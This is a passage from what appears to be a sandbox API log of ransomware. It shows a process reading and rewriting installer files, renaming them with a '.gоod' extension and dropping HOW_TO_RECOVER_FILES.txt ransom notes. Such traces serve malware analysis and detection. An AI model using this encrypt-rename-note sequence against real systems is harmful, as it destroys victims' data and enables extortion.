SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.718] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.718] GetFileType (hFile=0x7c8) returned 0x1 [0105.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.718] GetFileType (hFile=0x7c8) returned 0x1 [0105.718] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0105.718] ReadFile (in: hFile=0x7c8, lpBuffer=0x38364c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x38364c0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0105.720] CloseHandle (hObject=0x7c8) returned 1 [0105.720] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0105.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.720] GetFileType (hFile=0x7c8) returned 0x1 [0105.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.720] GetFileType (hFile=0x7c8) returned 0x1 [0105.720] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x13e4a [0105.720] WriteFile (in: hFile=0x7c8, lpBuffer=0x3837730*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x3837730*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0105.721] CloseHandle (hObject=0x7c8) returned 1 [0105.721] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0105.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.721] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.721] GetFileType (hFile=0x7c8) returned 0x1 [0105.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.721] GetFileType (hFile=0x7c8) returned 0x1 [0105.721] ReadFile (in: hFile=0x7c8, lpBuffer=0x38399c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x38399c8*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0105.804] CloseHandle (hObject=0x7c8) returned 1 [0105.804] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0105.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0105.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.804] GetFileType (hFile=0x7c8) returned 0x1 [0105.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0105.804] GetFileType (hFile=0x7c8) returned 0x1 [0105.804] WriteFile (in: hFile=0x7c8, lpBuffer=0x337f6e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x337f6e8*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0105.804] CloseHandle (hObject=0x7c8) returned 1 [0105.804] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0105.804] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0105.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0105.804] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3b46a229, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13e5a)) returned 1 [0105.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0105.805] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.gоod")) returned 1 [0105.805] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1049\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0105.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0105.805] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7c8 [0105.806] GetFileType (hFile=0x7c8) returned 0x1 [0105.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0105.806] GetFileType (hFile=0x7c8) returned 0x1 [0105.806] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c1bd0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x33c1bd0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0105.807] CloseHandle (hObject=0x7c8) returned 1 [0105.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0105.808] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053", lpFilePart=0x0) returned 0x1a [0105.808] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0105.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0105.808] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0105.809] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0105.809] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0105.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0105.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0105.809] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053", lpFilePart=0x0) returned 0x1a [0105.809] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de00 [0105.809] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.810] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0105.810] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0105.810] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0105.810] FindNextFileW (in: hFindFile=0x131de00, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0105.810] FindClose (in: hFindFile=0x131de00 | out: hFindFile=0x131de00) returned 1 [0105.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0105.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0105.810] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\eula.rtf", lpFilePart=0x0) returned 0x23 [0105.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0105.811] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x33d0e58 | out: lpFileInformation=0x33d0e58*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19)) returned 1 [0105.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0105.811] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\eula.rtf", lpFilePart=0x0) returned 0x23 [0105.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0105.811] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0105.811] GetFileType (hFile=0x7c8) returned 0x1 [0105.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0105.811] GetFileType (hFile=0x7c8) returned 0x1 [0105.811] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xf19 [0105.811] ReadFile (in: hFile=0x7c8, lpBuffer=0x33d1f80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x33d1f80*, lpNumberOfBytesRead=0x1f6edc28*=0xf19, lpOverlapped=0x0) returned 1 [0105.812] CloseHandle (hObject=0x7c8) returned 1 [0106.171] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\eula.rtf", lpFilePart=0x0) returned 0x23 [0106.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0106.171] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0106.172] GetFileType (hFile=0x6e4) returned 0x1 [0106.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0106.172] GetFileType (hFile=0x6e4) returned 0x1 [0106.172] WriteFile (in: hFile=0x6e4, lpBuffer=0x34d8690*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x34d8690*, lpNumberOfBytesWritten=0x1f6edb38*=0xf20, lpOverlapped=0x0) returned 1 [0106.173] CloseHandle (hObject=0x6e4) returned 1 [0106.173] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\eula.rtf", lpFilePart=0x0) returned 0x23 [0106.173] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0106.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0106.173] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3b7fd9d8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf20)) returned 1 [0106.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0106.173] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.gоod")) returned 1 [0106.185] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0106.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0106.185] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x34d9858 | out: lpFileInformation=0x34d9858*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70)) returned 1 [0106.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0106.186] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0106.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0106.186] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0106.186] GetFileType (hFile=0x6e4) returned 0x1 [0106.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0106.186] GetFileType (hFile=0x6e4) returned 0x1 [0106.186] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0106.186] ReadFile (in: hFile=0x6e4, lpBuffer=0x34d9c20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x34d9c20*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0106.188] CloseHandle (hObject=0x6e4) returned 1 [0106.188] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0106.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0106.188] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0106.188] GetFileType (hFile=0x6e4) returned 0x1 [0106.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0106.188] GetFileType (hFile=0x6e4) returned 0x1 [0106.188] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x12f70 [0106.188] WriteFile (in: hFile=0x6e4, lpBuffer=0x34daf28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x34daf28*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0106.189] CloseHandle (hObject=0x6e4) returned 1 [0106.189] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0106.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0106.189] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0106.189] GetFileType (hFile=0x6e4) returned 0x1 [0106.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0106.189] GetFileType (hFile=0x6e4) returned 0x1 [0106.189] ReadFile (in: hFile=0x6e4, lpBuffer=0x34dd1c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x34dd1c0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0109.271] CloseHandle (hObject=0x6e4) returned 1 [0109.272] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0109.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0109.272] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 